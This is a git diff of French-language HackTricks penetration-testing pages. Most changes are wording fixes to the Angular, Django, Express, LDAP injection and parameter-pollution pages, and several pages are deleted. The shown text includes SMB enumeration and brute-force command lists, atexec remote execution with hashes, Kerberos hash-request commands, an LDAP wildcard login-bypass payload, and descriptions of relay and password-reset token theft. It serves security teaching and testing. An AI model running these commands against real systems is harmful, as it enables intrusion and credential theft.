situé dans /usr/share/doc/python3-impacket/examples/ -```bash -./atexec.py [[domain/]username[:password]@] "command" -./atexec.py -hashes administrator@10.10.10.175 "whoami" -``` -## Référence Impacket - -[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) - -## **Bruteforce des identifiants utilisateurs** - -**Cela n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximum de tentatives autorisées** -```bash -nmap --script smb-brute -p 445 -ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name -``` -## Attaque de relais SMB - -Cette attaque utilise l'outil Responder pour **capturer les sessions d'authentification SMB** sur un réseau interne, et **les relaye** vers une **machine cible**. Si la **session d'authentification est réussie**, elle vous fera automatiquement accéder à un **shell** **système**.\ -[**Plus d'informations sur cette attaque ici.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - -## SMB-Trap - -La bibliothèque Windows URLMon.dll essaie automatiquement de s'authentifier auprès de l'hôte lorsqu'une page tente d'accéder à un contenu via SMB, par exemple : `img src="\\10.10.10.10\path\image.jpg"` - -Cela se produit avec les fonctions : - -- URLDownloadToFile -- URLDownloadToCache -- URLOpenStream -- URLOpenBlockingStream - -Qui sont utilisées par certains navigateurs et outils (comme Skype) - -![De : http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>) - -### SMBTrap utilisant MitMf - -![De : http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) - -## Vol NTLM - -Semblable à SMB Trapping, le fait de planter des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant au hachage NetNTLMv2 d'être intercepté avec un outil tel que Responder. Le hachage peut ensuite être craqué hors ligne ou utilisé dans une [attaque de relais SMB](pentesting-smb.md#smb-relay-attack). - -[Voir : ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) - -## Commandes Automatiques HackTricks -``` -Protocol_Name: SMB #Protocol Abbreviation if there is one. -Port_Number: 137,138,139 #Comma separated if there is more than one. -Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out - -Entry_1: -Name: Notes -Description: Notes for SMB -Note: | -While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. - -#These are the commands I run in order every time I see an open SMB port - -With No Creds -nbtscan {IP} -smbmap -H {IP} -smbmap -H {IP} -u null -p null -smbmap -H {IP} -u guest -smbclient -N -L //{IP} -smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 -rpcclient {IP} -rpcclient -U "" {IP} -crackmapexec smb {IP} -crackmapexec smb {IP} --pass-pol -u "" -p "" -crackmapexec smb {IP} --pass-pol -u "guest" -p "" -GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all -GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat -GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" -getArch.py -target {IP} - -With Creds -smbmap -H {IP} -u {Username} -p {Password} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` -crackmapexec smb {IP} -u {Username} -p {Password} --shares -GetADUsers.py {Domain_Name}/{Username}:{Password} -all -GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat -GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request - -https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html - -Entry_2: -Name: Enum4Linux -Description: General SMB Scan -Command: enum4linux -a {IP} - -Entry_3: -Name: Nmap SMB Scan 1 -Description: SMB Vuln Scan With Nmap -Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} - -Entry_4: -Name: Nmap Smb Scan 2 -Description: SMB Vuln Scan With Nmap (Less Specific) -Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP} - -Entry_5: -Name: Hydra Brute Force -Description: Need User -Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb - -Entry_6: -Name: SMB/SMB2 139/445 consolesless mfs enumeration -Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole -Note: sourced from https://github.com/carlospolop/legion -Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' - -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index ea5a85dc9..7d8a432f2 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -1,5 +1,7 @@ # Angular +{{#include /banners/hacktricks-training.md}} + ## La Liste de Vérification Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). @@ -45,9 +47,9 @@ Les NgModules Angular déclarent un contexte de compilation pour un ensemble de Le NgModule `Router` d'Angular fournit un service qui vous permet de définir un chemin de navigation parmi les différents états d'application et hiérarchies de vues dans votre application. Le `RouterModule` est défini dans le fichier `app-routing.module.ts`. -Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. Une définition de classe de service est immédiatement précédée du décorateur `@Injectable()`. Le décorateur fournit les métadonnées qui permettent à d'autres fournisseurs d'être injectés en tant que dépendances dans votre classe. L'injection de dépendance (DI) vous permet de garder vos classes de composants légères et efficaces. Elles ne récupèrent pas de données du serveur, ne valident pas les entrées utilisateur, ni ne se connectent directement à la console ; elles délèguent de telles tâches aux services. +Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. La définition d'une classe de service est immédiatement précédée par le décorateur `@Injectable()`. Le décorateur fournit les métadonnées qui permettent à d'autres fournisseurs d'être injectés en tant que dépendances dans votre classe. L'injection de dépendance (DI) vous permet de garder vos classes de composants légères et efficaces. Elles ne récupèrent pas de données du serveur, ne valident pas les entrées utilisateur, ou ne se connectent pas directement à la console ; elles délèguent de telles tâches aux services. -## Configuration de sourcemap +## Configuration du sourcemap Le framework Angular traduit les fichiers TypeScript en code JavaScript en suivant les options de `tsconfig.json` et construit ensuite un projet avec la configuration `angular.json`. En regardant le fichier `angular.json`, nous avons observé une option pour activer ou désactiver un sourcemap. Selon la documentation Angular, la configuration par défaut a un fichier sourcemap activé pour les scripts et n'est pas caché par défaut : ```json @@ -60,11 +62,11 @@ Le framework Angular traduit les fichiers TypeScript en code JavaScript en suiva ``` Généralement, les fichiers sourcemap sont utilisés à des fins de débogage car ils associent les fichiers générés à leurs fichiers d'origine. Par conséquent, il n'est pas recommandé de les utiliser dans un environnement de production. Si les sourcemaps sont activés, cela améliore la lisibilité et aide à l'analyse des fichiers en reproduisant l'état d'origine du projet Angular. Cependant, s'ils sont désactivés, un examinateur peut toujours analyser manuellement un fichier JavaScript compilé en recherchant des motifs anti-sécurité. -De plus, un fichier JavaScript compilé avec un projet Angular peut être trouvé dans les outils de développement du navigateur → Sources (ou Débogueur et Sources) → \[id].main.js. Selon les options activées, ce fichier peut contenir la ligne suivante à la fin `//# sourceMappingURL=[id].main.js.map` ou il peut ne pas l'avoir, si l'option **cachée** est définie sur **true**. Néanmoins, si le sourcemap est désactivé pour **scripts**, les tests deviennent plus complexes, et nous ne pouvons pas obtenir le fichier. De plus, le sourcemap peut être activé lors de la construction du projet comme `ng build --source-map`. +De plus, un fichier JavaScript compilé avec un projet Angular peut être trouvé dans les outils de développement du navigateur → Sources (ou Débogueur et Sources) → \[id].main.js. Selon les options activées, ce fichier peut contenir la ligne suivante à la fin `//# sourceMappingURL=[id].main.js.map` ou il peut ne pas l'avoir, si l'option **hidden** est définie sur **true**. Néanmoins, si le sourcemap est désactivé pour les **scripts**, les tests deviennent plus complexes, et nous ne pouvons pas obtenir le fichier. De plus, le sourcemap peut être activé lors de la construction du projet comme `ng build --source-map`. ## Liaison de données -La liaison fait référence au processus de communication entre un composant et sa vue correspondante. Elle est utilisée pour transférer des données vers et depuis le framework Angular. Les données peuvent être transmises par divers moyens, tels que par le biais d'événements, d'interpolation, de propriétés ou par le mécanisme de liaison bidirectionnelle. De plus, les données peuvent également être partagées entre des composants liés (relation parent-enfant) et entre deux composants non liés en utilisant la fonctionnalité Service. +La liaison fait référence au processus de communication entre un composant et sa vue correspondante. Elle est utilisée pour transférer des données vers et depuis le framework Angular. Les données peuvent être passées par divers moyens, tels que par des événements, de l'interpolation, des propriétés, ou par le mécanisme de liaison bidirectionnelle. De plus, les données peuvent également être partagées entre des composants liés (relation parent-enfant) et entre deux composants non liés en utilisant la fonctionnalité Service. Nous pouvons classer la liaison par flux de données : @@ -162,7 +164,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("

tag html

tag html blah ``` -4. `bypassSecurityTrustScript` est utilisé pour indiquer que la valeur donnée est un JavaScript sûr. Cependant, nous avons trouvé son comportement imprévisible, car nous n'avons pas pu exécuter de code JS dans les modèles en utilisant cette méthode. +4. `bypassSecurityTrustScript` est utilisé pour indiquer que la valeur donnée est un JavaScript sûr. Cependant, nous avons trouvé que son comportement était imprévisible, car nous n'avons pas pu exécuter de code JS dans les modèles en utilisant cette méthode. ```jsx //app.component.ts @@ -239,7 +241,7 @@ Bien sûr, il existe également une possibilité d'introduire de nouvelles vuln #### Interfaces DOM -Comme mentionné précédemment, nous pouvons accéder directement au DOM en utilisant l'interface _Document_. Si l'entrée de l'utilisateur n'est pas validée au préalable, cela peut entraîner des vulnérabilités de script intersite (XSS). +Comme indiqué précédemment, nous pouvons accéder directement au DOM en utilisant l'interface _Document_. Si l'entrée utilisateur n'est pas validée au préalable, cela peut conduire à des vulnérabilités de script intersite (XSS). Nous avons utilisé les méthodes `document.write()` et `document.createElement()` dans les exemples ci-dessous : ```jsx @@ -292,7 +294,7 @@ document.body.appendChild(a); ``` #### Classes Angular -Il existe certaines classes qui peuvent être utilisées pour travailler avec des éléments DOM dans Angular : `ElementRef`, `Renderer2`, `Location` et `Document`. Une description détaillée des deux dernières classes est donnée dans la section **Redirections ouvertes**. La principale différence entre les deux premières est que l'API `Renderer2` fournit une couche d'abstraction entre l'élément DOM et le code du composant, tandis que `ElementRef` ne conserve qu'une référence à l'élément. Par conséquent, selon la documentation Angular, l'API `ElementRef` ne doit être utilisée qu'en dernier recours lorsque l'accès direct au DOM est nécessaire. +Il existe certaines classes qui peuvent être utilisées pour travailler avec des éléments DOM dans Angular : `ElementRef`, `Renderer2`, `Location` et `Document`. Une description détaillée des deux dernières classes est donnée dans la section **Open redirects**. La principale différence entre les deux premières est que l'API `Renderer2` fournit une couche d'abstraction entre l'élément DOM et le code du composant, tandis que `ElementRef` ne contient qu'une référence à l'élément. Par conséquent, selon la documentation Angular, l'API `ElementRef` ne doit être utilisée qu'en dernier recours lorsque l'accès direct au DOM est nécessaire. * `ElementRef` contient la propriété `nativeElement`, qui peut être utilisée pour manipuler les éléments DOM. Cependant, une utilisation incorrecte de `nativeElement` peut entraîner une vulnérabilité d'injection XSS, comme montré ci-dessous : @@ -410,7 +412,7 @@ $("p").html(""); jQuery.parseHTML(data [, context ] [, keepScripts ]) ``` -Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaînes HTML exécuteront des scripts inclus dans le HTML. La méthode `jQuery.parseHTML()` n'exécute pas de scripts dans le HTML analysé à moins que `keepScripts` ne soit explicitement `true`. Cependant, il est toujours possible dans la plupart des environnements d'exécuter des scripts indirectement ; par exemple, via l'attribut ``. +Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaînes HTML exécuteront des scripts qui sont inclus dans le HTML. La méthode `jQuery.parseHTML()` n'exécute pas de scripts dans le HTML analysé à moins que `keepScripts` ne soit explicitement `true`. Cependant, il est toujours possible dans la plupart des environnements d'exécuter des scripts indirectement ; par exemple, via l'attribut ``. ```tsx //app.component.ts @@ -442,11 +444,11 @@ $palias.append(html);

some text

``` -### Redirections ouvertes +### Open redirects #### Interfaces DOM -Selon la documentation W3C, les objets `window.location` et `document.location` sont traités comme des alias dans les navigateurs modernes. C'est pourquoi ils ont une mise en œuvre similaire de certaines méthodes et propriétés, ce qui pourrait provoquer une redirection ouverte et une XSS DOM avec des attaques au schéma `javascript://` comme mentionné ci-dessous. +Selon la documentation W3C, les objets `window.location` et `document.location` sont traités comme des alias dans les navigateurs modernes. C'est pourquoi ils ont une mise en œuvre similaire de certaines méthodes et propriétés, ce qui pourrait causer un redirection ouverte et un XSS DOM avec des attaques de schéma `javascript://` comme mentionné ci-dessous. * `window.location.href`(et `document.location.href`) @@ -468,7 +470,7 @@ window.location.href = "https://google.com/about" Le processus d'exploitation est identique pour les scénarios suivants. * `window.location.assign()`(et `document.location.assign()`) -Cette méthode fait en sorte que la fenêtre charge et affiche le document à l'URL spécifiée. Si nous avons le contrôle sur cette méthode, cela pourrait être une cible pour une attaque de redirection ouverte. +Cette méthode fait en sorte que la fenêtre charge et affiche le document à l'URL spécifiée. Si nous avons le contrôle sur cette méthode, cela pourrait être un point d'entrée pour une attaque de redirection ouverte. ```tsx //app.component.ts @@ -510,7 +512,7 @@ window.open("https://google.com/about", "_blank") #### Classes Angular -* Selon la documentation Angular, `Document` Angular est le même que le document DOM, ce qui signifie qu'il est possible d'utiliser des vecteurs communs pour le document DOM afin d'exploiter des vulnérabilités côté client dans Angular. Les propriétés et méthodes `Document.location` pourraient être des cibles pour des attaques de redirection ouverte réussies comme montré dans l'exemple : +* Selon la documentation Angular, `Document` Angular est le même que le document DOM, ce qui signifie qu'il est possible d'utiliser des vecteurs communs pour le document DOM afin d'exploiter des vulnérabilités côté client dans Angular. Les propriétés et méthodes `Document.location` pourraient être des points d'entrée pour des attaques de redirection ouverte réussies comme montré dans l'exemple : ```tsx //app.component.ts @@ -558,7 +560,7 @@ console.log(this.location.go("http://google.com/about")); ``` Résultat : `http://localhost:4200/http://google.com/about` -* La classe `Router` d'Angular est principalement utilisée pour naviguer au sein du même domaine et n'introduit aucune vulnérabilité supplémentaire dans l'application : +* La classe `Router` d'Angular est principalement utilisée pour naviguer au sein du même domaine et n'introduit aucune vulnérabilité supplémentaire à l'application : ```jsx //app-routing.module.ts @@ -601,3 +603,7 @@ this.router.navigateByUrl('URL') * [Angular Document](https://angular.io/api/common/DOCUMENT) * [Angular Location](https://angular.io/api/common/Location) * [Angular Router](https://angular.io/api/router/Router) + + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 18ce76419..1b48b4e0b 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,8 +1,12 @@ # Django +{{#include /banners/hacktricks-training.md}} + ## Manipulation du cache pour RCE La méthode de stockage de cache par défaut de Django est [Python pickles](https://docs.python.org/3/library/pickle.html), ce qui peut conduire à RCE si [des entrées non fiables sont dé-picklées](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité à RCE sur le serveur sous-jacent**. -Le cache Django est stocké dans l'un des quatre endroits : [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [mémoire](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fichiers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou une [base de données](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Le cache stocké dans un serveur Redis ou une base de données est le vecteur d'attaque le plus probable (injection Redis et injection SQL), mais un attaquant peut également être en mesure d'utiliser un cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont marqué cela comme un non-problème. Il est important de noter que le dossier de fichiers de cache, le nom de la table SQL et les détails du serveur Redis varieront en fonction de l'implémentation. +Le cache de Django est stocké dans l'un des quatre endroits suivants : [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [mémoire](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fichiers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou une [base de données](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Le cache stocké dans un serveur Redis ou une base de données est le vecteur d'attaque le plus probable (injection Redis et injection SQL), mais un attaquant peut également être en mesure d'utiliser un cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont marqué cela comme un non-problème. Il est important de noter que le dossier de fichiers de cache, le nom de la table SQL et les détails du serveur Redis varieront en fonction de l'implémentation. Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation du cache Django stocké dans une base de données SQLite : https://hackerone.com/reports/1415436 + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md b/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md deleted file mode 100644 index 0d5c123ee..000000000 --- a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md +++ /dev/null @@ -1 +0,0 @@ -# GWT - Google Web Toolkit diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index 0475f9cf3..bb1a3c765 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -1,5 +1,7 @@ # NodeJS Express +{{#include /banners/hacktricks-training.md}} + ## Signature de cookie L'outil [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) est un utilitaire pour automatiser les tests et la re-signature des secrets de cookie Express.js. @@ -26,4 +28,4 @@ Si vous connaissez le secret, vous pouvez signer le cookie. ```bash cookie-monster -e -f new_cookie.json -k secret ``` - +{{#include /banners/hacktricks-training.md}} diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md deleted file mode 100644 index 025e551a5..000000000 --- a/src/online-platforms-with-api.md +++ /dev/null @@ -1,121 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# [ProjectHoneypot](https://www.projecthoneypot.org/) - -Vous pouvez demander si une IP est liée à des activités suspectes/malveillantes. Complètement gratuit. - -# [**BotScout**](http://botscout.com/api.htm) - -Vérifiez si l'adresse IP est liée à un bot qui enregistre des comptes. Il peut également vérifier les noms d'utilisateur et les e-mails. Initialement gratuit. - -# [Hunter](https://hunter.io/) - -Trouvez et vérifiez des e-mails. -Certaines requêtes API gratuites, pour plus vous devez payer. -Commercial? - -# [AlientVault](https://otx.alienvault.com/api) - -Trouvez des activités malveillantes liées aux IP et aux domaines. Gratuit. - -# [Clearbit](https://dashboard.clearbit.com/) - -Trouvez des données personnelles liées à un e-mail \(profils sur d'autres plateformes\), domaine \(informations de base sur l'entreprise, e-mails et personnes travaillant\) et entreprises \(obtenez des informations sur l'entreprise à partir de l'e-mail\). -Vous devez payer pour accéder à toutes les possibilités. -Commercial? - -# [BuiltWith](https://builtwith.com/) - -Technologies utilisées par les sites web. Cher... -Commercial? - -# [Fraudguard](https://fraudguard.io/) - -Vérifiez si un hôte \(domaine ou IP\) est lié à des activités suspectes/malveillantes. Dispose de certains accès API gratuits. -Commercial? - -# [FortiGuard](https://fortiguard.com/) - -Vérifiez si un hôte \(domaine ou IP\) est lié à des activités suspectes/malveillantes. Dispose de certains accès API gratuits. - -# [SpamCop](https://www.spamcop.net/) - -Indique si l'hôte est lié à une activité de spam. Dispose de certains accès API gratuits. - -# [mywot](https://www.mywot.com/) - -Basé sur des opinions et d'autres métriques, obtenez si un domaine est lié à des informations suspectes/malveillantes. - -# [ipinfo](https://ipinfo.io/) - -Obtient des informations de base à partir d'une adresse IP. Vous pouvez tester jusqu'à 100K/mois. - -# [securitytrails](https://securitytrails.com/app/account) - -Cette plateforme fournit des informations sur les domaines et les adresses IP, comme les domaines à l'intérieur d'une IP ou à l'intérieur d'un serveur de domaine, les domaines possédés par un e-mail \(trouver des domaines liés\), l'historique IP des domaines \(trouver l'hôte derrière CloudFlare\), tous les domaines utilisant un serveur de noms.... -Vous avez un accès gratuit. - -# [fullcontact](https://www.fullcontact.com/) - -Permet de rechercher par e-mail, domaine ou nom d'entreprise et de récupérer des informations "personnelles" liées. Il peut également vérifier des e-mails. Il y a un accès gratuit. - -# [RiskIQ](https://www.spiderfoot.net/documentation/) - -Beaucoup d'informations sur les domaines et les IP, même dans la version gratuite/communautaire. - -# [\_IntelligenceX](https://intelx.io/) - -Recherchez des domaines, des IP et des e-mails et obtenez des informations à partir de dumps. Dispose de certains accès gratuits. - -# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) - -Recherchez par IP et rassemblez des informations liées à des activités suspectes. Il y a un accès gratuit. - -# [Greynoise](https://viz.greynoise.io/) - -Recherchez par IP ou plage d'IP et obtenez des informations sur les IP scannant Internet. Accès gratuit de 15 jours. - -# [Shodan](https://www.shodan.io/) - -Obtenez des informations de scan d'une adresse IP. Dispose de certains accès API gratuits. - -# [Censys](https://censys.io/) - -Très similaire à shodan - -# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) - -Trouvez des buckets S3 ouverts en recherchant par mot-clé. - -# [Dehashed](https://www.dehashed.com/data) - -Trouvez des identifiants fuités d'e-mails et même de domaines. -Commercial? - -# [psbdmp](https://psbdmp.ws/) - -Recherchez des pastebins où un e-mail est apparu. Commercial? - -# [emailrep.io](https://emailrep.io/key) - -Obtenez la réputation d'un e-mail. Commercial? - -# [ghostproject](https://ghostproject.fr/) - -Obtenez des mots de passe à partir d'e-mails fuités. Commercial? - -# [Binaryedge](https://www.binaryedge.io/) - -Obtenez des informations intéressantes à partir des IP. - -# [haveibeenpwned](https://haveibeenpwned.com/) - -Recherchez par domaine et e-mail et obtenez s'il a été compromis et les mots de passe. Commercial? - -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(dans un outil commercial?\) - -[https://www.netcraft.com/](https://www.netcraft.com/) \(dans un outil commercial?\) - -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(dans un outil commercial?\) - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md deleted file mode 100644 index 5c53eb7e9..000000000 --- a/src/other-web-tricks.md +++ /dev/null @@ -1,41 +0,0 @@ -# Autres astuces Web - -{{#include ./banners/hacktricks-training.md}} - -### En-tête d'hôte - -Plusieurs fois, le back-end fait confiance à l'**en-tête d'hôte** pour effectuer certaines actions. Par exemple, il pourrait utiliser sa valeur comme le **domaine pour envoyer une réinitialisation de mot de passe**. Donc, lorsque vous recevez un e-mail avec un lien pour réinitialiser votre mot de passe, le domaine utilisé est celui que vous avez mis dans l'en-tête d'hôte. Ensuite, vous pouvez demander la réinitialisation du mot de passe d'autres utilisateurs et changer le domaine pour un contrôlé par vous afin de voler leurs codes de réinitialisation de mot de passe. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). - -> [!WARNING] -> Notez qu'il est possible que vous n'ayez même pas besoin d'attendre que l'utilisateur clique sur le lien de réinitialisation du mot de passe pour obtenir le jeton, car peut-être même **les filtres anti-spam ou d'autres dispositifs/bots intermédiaires cliqueront dessus pour l'analyser**. - -### Booléens de session - -Parfois, lorsque vous complétez une vérification correctement, le back-end **ajoute simplement un booléen avec la valeur "True" à un attribut de sécurité de votre session**. Ensuite, un point de terminaison différent saura si vous avez réussi à passer cette vérification.\ -Cependant, si vous **passez la vérification** et que votre session se voit attribuer cette valeur "True" dans l'attribut de sécurité, vous pouvez essayer d'**accéder à d'autres ressources** qui **dépendent du même attribut** mais auxquelles vous **ne devriez pas avoir accès**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). - -### Fonctionnalité d'enregistrement - -Essayez de vous enregistrer en tant qu'utilisateur déjà existant. Essayez également d'utiliser des caractères équivalents (points, beaucoup d'espaces et Unicode). - -### Prise de contrôle des e-mails - -Enregistrez un e-mail, avant de le confirmer, changez l'e-mail, puis, si le nouvel e-mail de confirmation est envoyé au premier e-mail enregistré, vous pouvez prendre le contrôle de n'importe quel e-mail. Ou si vous pouvez activer le deuxième e-mail confirmant le premier, vous pouvez également prendre le contrôle de n'importe quel compte. - -### Accéder au service desk interne des entreprises utilisant Atlassian - -{{#ref}} -https://yourcompanyname.atlassian.net/servicedesk/customer/user/login -{{#endref}} - -### Méthode TRACE - -Les développeurs peuvent oublier de désactiver diverses options de débogage dans l'environnement de production. Par exemple, la méthode HTTP `TRACE` est conçue à des fins de diagnostic. Si elle est activée, le serveur web répondra aux requêtes utilisant la méthode `TRACE` en écho dans la réponse de la requête exacte qui a été reçue. Ce comportement est souvent inoffensif, mais peut parfois entraîner une divulgation d'informations, comme le nom des en-têtes d'authentification internes qui peuvent être ajoutés aux requêtes par des proxies inverses.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) - -![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - -{{#include ./banners/hacktricks-training.md}} - -### Scripting Same-Site - -Cela se produit lorsque nous rencontrons un domaine ou un sous-domaine qui résout à localhost ou 127.0.0.1 en raison de certaines erreurs de configuration DNS. Cela permet à un attaquant de contourner les restrictions de même origine du RFC2109 (Mécanisme de gestion d'état HTTP) et donc de détourner les données de gestion d'état. Cela peut également permettre le cross-site scripting. Vous pouvez en lire plus à ce sujet [ici](https://seclists.org/bugtraq/2008/Jan/270) diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md deleted file mode 100644 index 481faf5ab..000000000 --- a/src/pentesting-dns.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -**Recherchez davantage sur les attaques contre le DNS** - -**DNSSEC et DNSSEC3** - -**DNS dans IPv6** - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 9df411acd..5c01c964c 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -1,7 +1,5 @@ # LDAP Injection -## LDAP Injection - {{#include ../banners/hacktricks-training.md}} ## LDAP Injection @@ -33,8 +31,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf **Sous-chaîne** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ -**(&)** = VRAI ABSOLU\ -**(|)** = FAUX ABSOLU +**(&)** = VRAI Absolu\ +**(|)** = FAUX Absolu Par exemple :\ `(&(!(objectClass=Impresoras))(uid=s*))`\ @@ -42,7 +40,7 @@ Par exemple :\ Vous pouvez accéder à la base de données, et cela peut contenir des informations de différents types. -**OpenLDAP** : Si 2 filtres arrivent, n'exécute que le premier.\ +**OpenLDAP** : Si 2 filtres arrivent, seul le premier est exécuté.\ **ADAM ou Microsoft LDS** : Avec 2 filtres, ils renvoient une erreur.\ **SunOne Directory Server 5.0** : Exécute les deux filtres. @@ -58,7 +56,7 @@ Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celu ### Contournement de connexion -LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Donc, il se peut que peu importe ce que vous insérez dans le mot de passe, il soit haché. +LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se peut que peu importe ce que vous insérez dans le mot de passe, il soit haché. ```bash user=* password=* diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md index 4b4d67e48..9ffdce719 100644 --- a/src/pentesting-web/parameter-pollution.md +++ b/src/pentesting-web/parameter-pollution.md @@ -1,14 +1,12 @@ -# Pollution de Paramètre | Injection JSON - -## Pollution de Paramètre +# Pollution de Paramètres | Injection JSON {{#include ../banners/hacktricks-training.md}} -## Vue d'ensemble de la Pollution de Paramètre HTTP (HPP) +## Vue d'ensemble de la Pollution de Paramètres HTTP (HPP) -La Pollution de Paramètre HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière inattendue. Cette manipulation se fait en ajoutant, modifiant ou dupliquant des paramètres HTTP. L'effet de ces manipulations n'est pas directement visible pour l'utilisateur mais peut altérer de manière significative la fonctionnalité de l'application côté serveur, avec des impacts observables côté client. +La Pollution de Paramètres HTTP 